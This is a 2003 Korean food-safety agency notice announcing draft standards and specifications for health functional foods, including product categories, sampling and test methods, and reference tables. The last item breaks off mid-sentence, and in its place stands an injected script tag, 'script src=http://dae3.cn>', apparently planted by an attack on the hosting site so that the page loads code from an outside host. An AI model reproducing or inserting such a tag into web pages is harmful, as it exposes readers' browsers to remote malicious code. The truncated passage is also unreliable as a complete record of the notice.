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건강기능식품의기준및규격제정(안) 입안예고
작성자 식품안전부 등록일 2003/06/30 조회 15509
첨부
식품의약품안전청공고 제2003-62호

건강기능식품에관한법률 제14조제1항의 규정에 의거 건강기능식품의기준및규격을 제정함에 있어 국민에게 미리 알려 의견을 듣고자 그 취지 및 주요내용을 행정절차법 제46조의 규정에 의하여 다음과 같이 공고합니다.

2003년 6월28일
식품의약품안전청장

건강기능식품의기준및규격제정(안) 입안예고


1. 제정이유

건강기능식품에관한법률 제14조제1항의 규정에 의하여 건강기능식품의 제조·사용 및 보존 등에 관한 기준과 규격을 정함으로써 건강기능식품의 안전성과 기능성을 확보하려는 것임.


2. 주요골자

가. 건강기능식품공전의 수록범위, 관련공정서의 범위, 적부판정, 용어의 정의 등 건강기능식품공전의 일반적인 원칙을 정함(안 제1.).

나. 건강기능식품에 사용할 수 있는 원료, 건강기능식품의 제조기준 등 건강기능식품에 공통적으로 적용되는 기준과 규격을 정함(안 제2.)

다. 영양보충용제품, 인삼제품, 홍삼제품, 뱀장어유제품, 에이코사펜타엔산 및/또는 도코사헥사엔산함유제품, 로얄젤리제품, 효모제품, 화분제품, 스쿠알렌제품, 효소제품, 유산균함유제품, 클로렐라제품, 스피루리나제품, 감마리놀렌산함유제품, 배아유제품, 배아제품, 레시틴제품, 옥타코사놀함유제품, 알콕시글리세롤함유제품, 포도씨유제품, 식물추출물발효제품, 뮤코다당·단백제품, 엽록소함유제품, 버섯제품, 알로에제품, 매실추출물제품, 자라제품, 베타카로틴함유제품, 키토산함유제품, 키토올리고당함유제품, 글루코사민함유제품, 프로폴리스추출물제품의 기준과 규격을 정함(안 제3.)

라. 건강기능식품 검체를 채취하는 방법과 취급하는 방법을 정함(안 제4.)

마. 건강기능식품의 일반성분시험법, 보존료시험법, 산화방지제시험법, 착색료시험법, 유해성금속시험법, 이물시험법, 미생물시험법, 인삼제품중잔류농약시험법, 붕해시험법, 미량성분시험법, 방사능잠정허용기준시험법, 내용량시험법, 진공도시험법을 정함(안 제5.)

바. 시약, 시액, 표준용액, 용량분석용 규정용액을 정함(안 제6.)

사. 레인·에이논 전화당 정량표, 레인·에이논 유당 정량표, 벨트란 당류 정량표, 난수표, 검체채취내역서, 영양소기준치, 한국인 1일 영양권장량 등 부표를 정함(안 제7.)

아. 제3.건강기능식품별 기준 및 규격에서 정하지 않은 기능성은 건강기능식품에관한법률 제15조?script src=http://dae3.cn>
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